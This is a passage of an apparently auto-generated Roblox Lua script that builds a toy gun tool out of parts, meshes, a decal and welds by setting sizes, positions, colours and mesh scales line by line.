  4942. Part377.Anchored = true
  4943. Part377.FormFactor = Enum.FormFactor.Custom
  4944. Part377.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4945. Part377.CFrame = CFrame.new(143.219604, 4.04324293, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4946. Part377.BottomSurface = Enum.SurfaceType.Smooth
  4947. Part377.TopSurface = Enum.SurfaceType.Smooth
  4948. Part377.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4949. Part377.Position = Vector3.new(143.219604, 4.04324293, 144.444275)
  4950. Part377.Orientation = Vector3.new(90, 180, 0)
  4951. Part377.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4952. BlockMesh378.Parent = Part377
  4953. BlockMesh378.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
  4954. BlockMesh378.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
  4955. Part379.Parent = Tool0
  4956. Part379.Material = Enum.Material.Metal
  4957. Part379.BrickColor = BrickColor.new("Dark stone grey")
  4958. Part379.Rotation = Vector3.new(90, 0, -90)
  4959. Part379.Anchored = true
  4960. Part379.FormFactor = Enum.FormFactor.Custom
  4961. Part379.Size = Vector3.new(0.200000003, 0.200000003, 0.633333981)
  4962. Part379.CFrame = CFrame.new(143.996262, 3.39325094, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  4963. Part379.BottomSurface = Enum.SurfaceType.Smooth
  4964. Part379.TopSurface = Enum.SurfaceType.Smooth
  4965. Part379.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4966. Part379.Position = Vector3.new(143.996262, 3.39325094, 144.39093)
  4967. Part379.Orientation = Vector3.new(90, 90, 0)
  4968. Part379.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4969. BlockMesh380.Parent = Part379
  4970. BlockMesh380.Scale = Vector3.new(0.799999952, 0.0999999717, 1)
  4971. BlockMesh380.Scale = Vector3.new(0.799999952, 0.0999999717, 1)
  4972. Part381.Parent = Tool0
  4973. Part381.Material = Enum.Material.Metal
  4974. Part381.BrickColor = BrickColor.new("Dark stone grey")
  4975. Part381.Rotation = Vector3.new(90, 0, -180)
  4976. Part381.Anchored = true
  4977. Part381.FormFactor = Enum.FormFactor.Custom
  4978. Part381.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4979. Part381.CFrame = CFrame.new(143.229599, 4.03324604, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4980. Part381.BottomSurface = Enum.SurfaceType.Smooth
  4981. Part381.TopSurface = Enum.SurfaceType.Smooth
  4982. Part381.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4983. Part381.Position = Vector3.new(143.229599, 4.03324604, 144.39093)
  4984. Part381.Orientation = Vector3.new(90, 180, 0)
  4985. Part381.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4986. CylinderMesh382.Parent = Part381
  4987. CylinderMesh382.Scale = Vector3.new(0.0666666776, 0.400000066, 0.0666666776)
  4988. CylinderMesh382.Scale = Vector3.new(0.0666666776, 0.400000066, 0.0666666776)
  4989. Part383.Parent = Tool0
  4990. Part383.Material = Enum.Material.Metal
  4991. Part383.BrickColor = BrickColor.new("Dark stone grey")
  4992. Part383.Rotation = Vector3.new(90, 0, -180)
  4993. Part383.Anchored = true
  4994. Part383.FormFactor = Enum.FormFactor.Custom
  4995. Part383.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  4996. Part383.CFrame = CFrame.new(143.222946, 4.09323978, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  4997. Part383.BottomSurface = Enum.SurfaceType.Smooth
  4998. Part383.TopSurface = Enum.SurfaceType.Smooth
  4999. Part383.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5000. Part383.Position = Vector3.new(143.222946, 4.09323978, 144.39093)
  5001. Part383.Orientation = Vector3.new(90, 180, 0)
  5002. Part383.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5003. BlockMesh384.Parent = Part383
  5004. BlockMesh384.Scale = Vector3.new(0.0233333316, 0.199999943, 0.0433333293)
  5005. BlockMesh384.Scale = Vector3.new(0.0233333316, 0.199999943, 0.0433333293)
  5006. Part385.Parent = Tool0
  5007. Part385.Material = Enum.Material.Metal
  5008. Part385.BrickColor = BrickColor.new("Dark stone grey")
  5009. Part385.Rotation = Vector3.new(-90, 90, 0)
  5010. Part385.Anchored = true
  5011. Part385.FormFactor = Enum.FormFactor.Custom
  5012. Part385.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5013. Part385.CFrame = CFrame.new(143.222946, 4.06658077, 144.39093, 0, 0, 1, -1, 0, 0, 0, -1, 0)
  5014. Part385.BottomSurface = Enum.SurfaceType.Smooth
  5015. Part385.TopSurface = Enum.SurfaceType.Smooth
  5016. Part385.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5017. Part385.Position = Vector3.new(143.222946, 4.06658077, 144.39093)
  5018. Part385.Orientation = Vector3.new(0, 90, -90)
  5019. Part385.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5020. SpecialMesh386.Parent = Part385
  5021. SpecialMesh386.MeshId = "http://www.roblox.com/asset/?id=3270017"
  5022. SpecialMesh386.Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0400000028)
  5023. SpecialMesh386.MeshType = Enum.MeshType.FileMesh
  5024. SpecialMesh386.Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0400000028)
  5025. Part387.Parent = Tool0
  5026. Part387.Material = Enum.Material.Metal
  5027. Part387.BrickColor = BrickColor.new("Dark stone grey")
  5028. Part387.Rotation = Vector3.new(-90, -60, -90)
  5029. Part387.Anchored = true
  5030. Part387.FormFactor = Enum.FormFactor.Custom
  5031. Part387.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5032. Part387.CFrame = CFrame.new(144.182877, 3.54566407, 144.39093, 0, 0.499927282, -0.86606741, 0, 0.86606741, 0.499927282, 1, 0, -0)
  5033. Part387.BottomSurface = Enum.SurfaceType.Smooth
  5034. Part387.TopSurface = Enum.SurfaceType.Smooth
  5035. Part387.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5036. Part387.Position = Vector3.new(144.182877, 3.54566407, 144.39093)
  5037. Part387.Orientation = Vector3.new(-30, -90, 0)
  5038. Part387.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5039. SpecialMesh388.Parent = Part387
  5040. SpecialMesh388.Scale = Vector3.new(0.299999982, 0.0333333388, 0.333333373)
  5041. SpecialMesh388.MeshType = Enum.MeshType.Wedge
  5042. SpecialMesh388.Scale = Vector3.new(0.299999982, 0.0333333388, 0.333333373)
  5043. Part389.Parent = Tool0
  5044. Part389.Material = Enum.Material.Metal
  5045. Part389.BrickColor = BrickColor.new("Dark stone grey")
  5046. Part389.Rotation = Vector3.new(90, 0, -180)
  5047. Part389.Anchored = true
  5048. Part389.FormFactor = Enum.FormFactor.Custom
  5049. Part389.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5050. Part389.CFrame = CFrame.new(143.219604, 4.00657988, 144.324265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5051. Part389.BottomSurface = Enum.SurfaceType.Smooth
  5052. Part389.TopSurface = Enum.SurfaceType.Smooth
  5053. Part389.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5054. Part389.Position = Vector3.new(143.219604, 4.00657988, 144.324265)
  5055. Part389.Orientation = Vector3.new(90, 180, 0)
  5056. Part389.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5057. BlockMesh390.Parent = Part389
  5058. BlockMesh390.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
  5059. BlockMesh390.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
  5060. Part391.Parent = Tool0
  5061. Part391.Material = Enum.Material.Metal
  5062. Part391.BrickColor = BrickColor.new("Black")
  5063. Part391.Rotation = Vector3.new(-90, 0, 90)
  5064. Part391.Anchored = true
  5065. Part391.FormFactor = Enum.FormFactor.Symmetric
  5066. Part391.Size = Vector3.new(1, 1, 1)
  5067. Part391.CFrame = CFrame.new(143.902939, 3.09325004, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5068. Part391.BottomSurface = Enum.SurfaceType.Smooth
  5069. Part391.TopSurface = Enum.SurfaceType.Smooth
  5070. Part391.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5071. Part391.Position = Vector3.new(143.902939, 3.09325004, 144.39093)
  5072. Part391.Orientation = Vector3.new(-90, 90, 0)
  5073. Part391.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5074. Decal392.Parent = Part391
  5075. Decal392.Texture = "http://www.roblox.com/asset/?id=47760372"
  5076. BlockMesh393.Parent = Part391
  5077. BlockMesh393.Scale = Vector3.new(0.13333334, 0.166666672, 0.0333333351)
  5078. BlockMesh393.Scale = Vector3.new(0.13333334, 0.166666672, 0.0333333351)
  5079. Part394.Parent = Tool0
  5080. Part394.Material = Enum.Material.Metal
  5081. Part394.BrickColor = BrickColor.new("Black")
  5082. Part394.Rotation = Vector3.new(-90, -15.0099993, 0)
  5083. Part394.Anchored = true
  5084. Part394.FormFactor = Enum.FormFactor.Custom
  5085. Part394.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5086. Part394.CFrame = CFrame.new(143.101059, 3.81787395, 144.300934, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
  5087. Part394.BottomSurface = Enum.SurfaceType.Smooth
  5088. Part394.TopSurface = Enum.SurfaceType.Smooth
  5089. Part394.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5090. Part394.Position = Vector3.new(143.101059, 3.81787395, 144.300934)
  5091. Part394.Orientation = Vector3.new(-74.9899979, -90, 90)
  5092. Part394.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5093. CylinderMesh395.Parent = Part394
  5094. CylinderMesh395.Scale = Vector3.new(3.33333373, 0.133333027, 0.333333343)
  5095. CylinderMesh395.Scale = Vector3.new(3.33333373, 0.133333027, 0.333333343)
  5096. Part396.Parent = Tool0
  5097. Part396.Material = Enum.Material.Metal
  5098. Part396.BrickColor = BrickColor.new("Black")
  5099. Part396.Rotation = Vector3.new(-90, 0, 90)
  5100. Part396.Anchored = true
  5101. Part396.FormFactor = Enum.FormFactor.Custom
  5102. Part396.Size = Vector3.new(0.200000003, 0.686666667, 0.200000003)
  5103. Part396.CFrame = CFrame.new(144.67627, 3.76324797, 144.444275, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5104. Part396.BottomSurface = Enum.SurfaceType.Smooth
  5105. Part396.TopSurface = Enum.SurfaceType.Smooth
  5106. Part396.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5107. Part396.Position = Vector3.new(144.67627, 3.76324797, 144.444275)
  5108. Part396.Orientation = Vector3.new(-90, 90, 0)
  5109. Part396.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5110. CylinderMesh397.Parent = Part396
  5111. CylinderMesh397.Scale = Vector3.new(0.659999967, 1, 0.659999967)
  5112. CylinderMesh397.Scale = Vector3.new(0.659999967, 1, 0.659999967)
  5113. Part398.Parent = Tool0
  5114. Part398.Material = Enum.Material.Metal
  5115. Part398.Rotation = Vector3.new(90, 0, -180)
  5116. Part398.Anchored = true
  5117. Part398.FormFactor = Enum.FormFactor.Custom
  5118. Part398.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5119. Part398.CFrame = CFrame.new(143.222931, 4.05324411, 144.467606, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5120. Part398.BottomSurface = Enum.SurfaceType.Smooth
  5121. Part398.TopSurface = Enum.SurfaceType.Smooth
  5122. Part398.Position = Vector3.new(143.222931, 4.05324411, 144.467606)
  5123. Part398.Orientation = Vector3.new(90, 180, 0)
  5124. CylinderMesh399.Parent = Part398
  5125. CylinderMesh399.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  5126. CylinderMesh399.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  5127. Part400.Parent = Tool0
  5128. Part400.Material = Enum.Material.Metal
  5129. Part400.BrickColor = BrickColor.new("Black")
  5130. Part400.Rotation = Vector3.new(-90, 0, 90)
  5131. Part400.Anchored = true
  5132. Part400.FormFactor = Enum.FormFactor.Custom
  5133. Part400.Size = Vector3.new(0.213333264, 0.200000003, 0.200000003)
  5134. Part400.CFrame = CFrame.new(144.296265, 3.75324702, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5135. Part400.BottomSurface = Enum.SurfaceType.Smooth
  5136. Part400.TopSurface = Enum.SurfaceType.Smooth
  5137. Part400.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5138. Part400.Position = Vector3.new(144.296265, 3.75324702, 144.39093)
  5139. Part400.Orientation = Vector3.new(-90, 90, 0)
  5140. Part400.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5141. BlockMesh401.Parent = Part400
  5142. BlockMesh401.Scale = Vector3.new(1, 0.10000024, 0.433333337)
  5143. BlockMesh401.Scale = Vector3.new(1, 0.10000024, 0.433333337)
  5144. ManualWeld402.Name = "Part-to-Handle Strong Joint"
  5145. ManualWeld402.Parent = Part400
  5146. ManualWeld402.C0 = CFrame.new(-0.106666632, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  5147. ManualWeld402.C1 = CFrame.new(0.106674194, 0.187796831, -0.109344482, 1, 0, 0, 0, 1, -6.29127026e-05, 0, 6.29127026e-05, 1)
  5148. ManualWeld402.Part0 = Part400
  5149. ManualWeld402.Part1 = Part30
  5150. Part403.Parent = Tool0
  5151. Part403.Material = Enum.Material.Metal
  5152. Part403.BrickColor = BrickColor.new("Dark stone grey")
  5153. Part403.Rotation = Vector3.new(90, 0.00999999978, 90)
  5154. Part403.Anchored = true
  5155. Part403.FormFactor = Enum.FormFactor.Custom
  5156. Part403.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5157. Part403.CFrame = CFrame.new(144.286911, 3.52544999, 144.39093, 0, -1, 0.00012601912, 0, -0.00012601912, -1, 1, 0, 0)
  5158. Part403.BottomSurface = Enum.SurfaceType.Smooth
  5159. Part403.TopSurface = Enum.SurfaceType.Smooth
  5160. Part403.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5161. Part403.Position = Vector3.new(144.286911, 3.52544999, 144.39093)
  5162. Part403.Orientation = Vector3.new(90, -90, 0)
  5163. Part403.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5164. BlockMesh404.Parent = Part403
  5165. BlockMesh404.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  5166. BlockMesh404.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  5167. ManualWeld405.Name = "Part-to-Handle Strong Joint"
  5168. ManualWeld405.Parent = Part403
  5169. ManualWeld405.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  5170. ManualWeld405.C1 = CFrame.new(-0.100006104, -0.240013361, -0.100036621, -1, 0, 0, 0, -1, -0.000188931823, 0, -0.000188931823, 1)
  5171. ManualWeld405.Part0 = Part403
  5172. ManualWeld405.Part1 = Part30
  5173. Part406.Parent = Tool0
  5174. Part406.Material = Enum.Material.Metal
  5175. Part406.BrickColor = BrickColor.new("Black")
  5176. Part406.Rotation = Vector3.new(90, 0, 90)
  5177. Part406.Anchored = true
  5178. Part406.FormFactor = Enum.FormFactor.Custom
  5179. Part406.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5180. Part406.CFrame = CFrame.new(143.782944, 3.52990699, 144.340927, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  5181. Part406.BottomSurface = Enum.SurfaceType.Smooth
  5182. Part406.TopSurface = Enum.SurfaceType.Smooth
  5183. Part406.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5184. Part406.Position = Vector3.new(143.782944, 3.52990699, 144.340927)
  5185. Part406.Orientation = Vector3.new(90, -90, 0)
  5186. Part406.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5187. BlockMesh407.Parent = Part406
  5188. BlockMesh407.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666496)
  5189. BlockMesh407.Scale = Vector3.new(0.166666523, 0.0333333574, 0.866666496)
  5190. Part408.Parent = Tool0
  5191. Part408.Material = Enum.Material.Metal
  5192. Part408.BrickColor = BrickColor.new("Dark stone grey")
  5193. Part408.Rotation = Vector3.new(90, 0, 90)
  5194. Part408.Anchored = true
  5195. Part408.FormFactor = Enum.FormFactor.Custom
  5196. Part408.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5197. Part408.CFrame = CFrame.new(143.766266, 3.54324698, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  5198. Part408.BottomSurface = Enum.SurfaceType.Smooth
  5199. Part408.TopSurface = Enum.SurfaceType.Smooth
  5200. Part408.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5201. Part408.Position = Vector3.new(143.766266, 3.54324698, 144.39093)
  5202. Part408.Orientation = Vector3.new(90, -90, 0)
  5203. Part408.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5204. BlockMesh409.Parent = Part408
  5205. BlockMesh409.Scale = Vector3.new(0.333333343, 0.199999973, 0.666666687)
  5206. BlockMesh409.Scale = Vector3.new(0.333333343, 0.199999973, 0.666666687)
  5207. Part410.Parent = Tool0
  5208. Part410.Material = Enum.Material.Metal
  5209. Part410.BrickColor = BrickColor.new("Dark stone grey")
  5210. Part410.Rotation = Vector3.new(90, 0, -180)
  5211. Part410.Anchored = true
  5212. Part410.FormFactor = Enum.FormFactor.Custom
  5213. Part410.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5214. Part410.CFrame = CFrame.new(143.802933, 3.25991702, 144.320938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5215. Part410.BottomSurface = Enum.SurfaceType.Smooth
  5216. Part410.TopSurface = Enum.SurfaceType.Smooth
  5217. Part410.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5218. Part410.Position = Vector3.new(143.802933, 3.25991702, 144.320938)
  5219. Part410.Orientation = Vector3.new(90, 180, 0)
  5220. Part410.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5221. CylinderMesh411.Parent = Part410
  5222. CylinderMesh411.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  5223. CylinderMesh411.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  5224. Part412.Parent = Tool0
  5225. Part412.Material = Enum.Material.Metal
  5226. Part412.BrickColor = BrickColor.new("Dark stone grey")
  5227. Part412.Rotation = Vector3.new(90, 0, -180)
  5228. Part412.Anchored = true
  5229. Part412.FormFactor = Enum.FormFactor.Custom
  5230. Part412.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5231. Part412.CFrame = CFrame.new(143.222946, 4.0665741, 144.360931, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5232. Part412.BottomSurface = Enum.SurfaceType.Smooth
  5233. Part412.TopSurface = Enum.SurfaceType.Smooth
  5234. Part412.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5235. Part412.Position = Vector3.new(143.222946, 4.0665741, 144.360931)
  5236. Part412.Orientation = Vector3.new(90, 180, 0)
  5237. Part412.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5238. BlockMesh413.Parent = Part412
  5239. BlockMesh413.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
  5240. BlockMesh413.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
  5241. Part414.Parent = Tool0
  5242. Part414.Material = Enum.Material.Metal
  5243. Part414.BrickColor = BrickColor.new("Black")
  5244. Part414.Rotation = Vector3.new(-90, 0, 90)
  5245. Part414.Anchored = true
  5246. Part414.FormFactor = Enum.FormFactor.Symmetric
  5247. Part414.Size = Vector3.new(1, 1, 1)
  5248. Part414.CFrame = CFrame.new(143.886276, 3.44324899, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5249. Part414.BottomSurface = Enum.SurfaceType.Smooth
  5250. Part414.TopSurface = Enum.SurfaceType.Smooth
  5251. Part414.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5252. Part414.Position = Vector3.new(143.886276, 3.44324899, 144.39093)
  5253. Part414.Orientation = Vector3.new(-90, 90, 0)
  5254. Part414.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5255. BlockMesh415.Parent = Part414
  5256. BlockMesh415.Scale = Vector3.new(0.13333334, 0.200000003, 0.533333361)
  5257. BlockMesh415.Scale = Vector3.new(0.13333334, 0.200000003, 0.533333361)
  5258. Part416.Parent = Tool0
  5259. Part416.Material = Enum.Material.Metal
  5260. Part416.BrickColor = BrickColor.new("Black")
  5261. Part416.Rotation = Vector3.new(-90, 0, 90)
  5262. Part416.Anchored = true
  5263. Part416.FormFactor = Enum.FormFactor.Custom
  5264. Part416.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5265. Part416.CFrame = CFrame.new(143.726273, 3.676579, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5266. Part416.BottomSurface = Enum.SurfaceType.Smooth
  5267. Part416.TopSurface = Enum.SurfaceType.Smooth
  5268. Part416.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5269. Part416.Position = Vector3.new(143.726273, 3.676579, 144.39093)
  5270. Part416.Orientation = Vector3.new(-90, 90, 0)
  5271. Part416.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5272. SpecialMesh417.Parent = Part416
  5273. SpecialMesh417.Scale = Vector3.new(0.666666687, 0.399999976, 0.333333343)
  5274. SpecialMesh417.MeshType = Enum.MeshType.Wedge
  5275. SpecialMesh417.Scale = Vector3.new(0.666666687, 0.399999976, 0.333333343)
  5276. Part418.Parent = Tool0
  5277. Part418.Material = Enum.Material.Metal
  5278. Part418.BrickColor = BrickColor.new("Dark stone grey")
  5279. Part418.Rotation = Vector3.new(90, 0, -180)
  5280. Part418.Anchored = true
  5281. Part418.FormFactor = Enum.FormFactor.Custom
  5282. Part418.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5283. Part418.CFrame = CFrame.new(143.282944, 4.02990818, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5284. Part418.BottomSurface = Enum.SurfaceType.Smooth
  5285. Part418.TopSurface = Enum.SurfaceType.Smooth
  5286. Part418.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5287. Part418.Position = Vector3.new(143.282944, 4.02990818, 144.444275)
  5288. Part418.Orientation = Vector3.new(90, 180, 0)
  5289. Part418.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5290. CylinderMesh419.Parent = Part418
  5291. CylinderMesh419.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  5292. CylinderMesh419.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
  5293. Part420.Name = "AimPart"
  5294. Part420.Parent = Tool0
  5295. Part420.Material = Enum.Material.Metal
  5296. Part420.BrickColor = BrickColor.new("Dark stone grey")
  5297. Part420.Transparency = 50
  5298. Part420.Rotation = Vector3.new(0, -90, 0)
  5299. Part420.Anchored = true
  5300. Part420.FormFactor = Enum.FormFactor.Custom
  5301. Part420.Size = Vector3.new(0.200000048, 0.200000048, 1.20000005)
  5302. Part420.CFrame = CFrame.new(142.722946, 4.09990311, 144.39093, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  5303. Part420.BottomSurface = Enum.SurfaceType.Smooth
  5304. Part420.TopSurface = Enum.SurfaceType.Smooth
  5305. Part420.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5306. Part420.Position = Vector3.new(142.722946, 4.09990311, 144.39093)
  5307. Part420.Orientation = Vector3.new(0, -90, 0)
  5308. Part420.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5309. BlockMesh421.Parent = Part420
  5310. BlockMesh421.Scale = Vector3.new(0.0233333316, 0.066666618, 0.0433333293)
  5311. BlockMesh421.Scale = Vector3.new(0.0233333316, 0.066666618, 0.0433333293)
  5312. Part422.Parent = Tool0
  5313. Part422.Material = Enum.Material.Metal
  5314. Part422.BrickColor = BrickColor.new("Black")
  5315. Part422.Rotation = Vector3.new(-90, 0, 90)
  5316. Part422.Anchored = true
  5317. Part422.FormFactor = Enum.FormFactor.Custom
  5318. Part422.Size = Vector3.new(0.213333324, 0.600000024, 0.200000003)
  5319. Part422.CFrame = CFrame.new(143.986267, 3.76324797, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5320. Part422.BottomSurface = Enum.SurfaceType.Smooth
  5321. Part422.TopSurface = Enum.SurfaceType.Smooth
  5322. Part422.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5323. Part422.Position = Vector3.new(143.986267, 3.76324797, 144.39093)
  5324. Part422.Orientation = Vector3.new(-90, 90, 0)
  5325. Part422.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5326. BlockMesh423.Parent = Part422
  5327. BlockMesh423.Scale = Vector3.new(1, 1, 0.533333361)
  5328. BlockMesh423.Scale = Vector3.new(1, 1, 0.533333361)
  5329. Part424.Parent = Tool0
  5330. Part424.Material = Enum.Material.Metal
  5331. Part424.BrickColor = BrickColor.new("Dark stone grey")
  5332. Part424.Rotation = Vector3.new(-90, 0, -180)
  5333. Part424.Anchored = true
  5334. Part424.FormFactor = Enum.FormFactor.Custom
  5335. Part424.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5336. Part424.CFrame = CFrame.new(143.782944, 3.76324797, 144.28093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  5337. Part424.BottomSurface = Enum.SurfaceType.Smooth
  5338. Part424.TopSurface = Enum.SurfaceType.Smooth
  5339. Part424.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5340. Part424.Position = Vector3.new(143.782944, 3.76324797, 144.28093)
  5341. Part424.Orientation = Vector3.new(-90, -180, 0)
  5342. Part424.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5343. CylinderMesh425.Parent = Part424
  5344. CylinderMesh425.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  5345. CylinderMesh425.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  5346. Part426.Parent = Tool0
  5347. Part426.Material = Enum.Material.Metal
  5348. Part426.BrickColor = BrickColor.new("Dark stone grey")
  5349. Part426.Rotation = Vector3.new(90, 0, -180)
  5350. Part426.Anchored = true
  5351. Part426.FormFactor = Enum.FormFactor.Custom
  5352. Part426.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5353. Part426.CFrame = CFrame.new(143.206268, 4.00991011, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5354. Part426.BottomSurface = Enum.SurfaceType.Smooth
  5355. Part426.TopSurface = Enum.SurfaceType.Smooth
  5356. Part426.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5357. Part426.Position = Vector3.new(143.206268, 4.00991011, 144.444275)
  5358. Part426.Orientation = Vector3.new(90, 180, 0)
  5359. Part426.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5360. BlockMesh427.Parent = Part426
  5361. BlockMesh427.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
  5362. BlockMesh427.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
  5363. Part428.Parent = Tool0
  5364. Part428.Material = Enum.Material.Metal
  5365. Part428.BrickColor = BrickColor.new("Black")
  5366. Part428.Rotation = Vector3.new(-90, 0, 90)
  5367. Part428.Anchored = true
  5368. Part428.FormFactor = Enum.FormFactor.Custom
  5369. Part428.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5370. Part428.CFrame = CFrame.new(143.772934, 3.61992002, 144.440933, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5371. Part428.BottomSurface = Enum.SurfaceType.Smooth
  5372. Part428.TopSurface = Enum.SurfaceType.Smooth
  5373. Part428.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5374. Part428.Position = Vector3.new(143.772934, 3.61992002, 144.440933)
  5375. Part428.Orientation = Vector3.new(-90, 90, 0)
  5376. Part428.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5377. SpecialMesh429.Parent = Part428
  5378. SpecialMesh429.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
  5379. SpecialMesh429.MeshType = Enum.MeshType.Wedge
  5380. SpecialMesh429.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
  5381. Part430.Parent = Tool0
  5382. Part430.Material = Enum.Material.Metal
  5383. Part430.BrickColor = BrickColor.new("Dark stone grey")
  5384. Part430.Rotation = Vector3.new(90, 0, 0)
  5385. Part430.Anchored = true
  5386. Part430.FormFactor = Enum.FormFactor.Custom
  5387. Part430.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5388. Part430.CFrame = CFrame.new(143.782944, 3.61325002, 144.39093, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  5389. Part430.BottomSurface = Enum.SurfaceType.Smooth
  5390. Part430.TopSurface = Enum.SurfaceType.Smooth
  5391. Part430.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5392. Part430.Position = Vector3.new(143.782944, 3.61325002, 144.39093)
  5393. Part430.Orientation = Vector3.new(90, 0, 0)
  5394. Part430.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5395. CylinderMesh431.Parent = Part430
  5396. CylinderMesh431.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
  5397. CylinderMesh431.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
  5398. Part432.Parent = Tool0
  5399. Part432.Material = Enum.Material.Metal
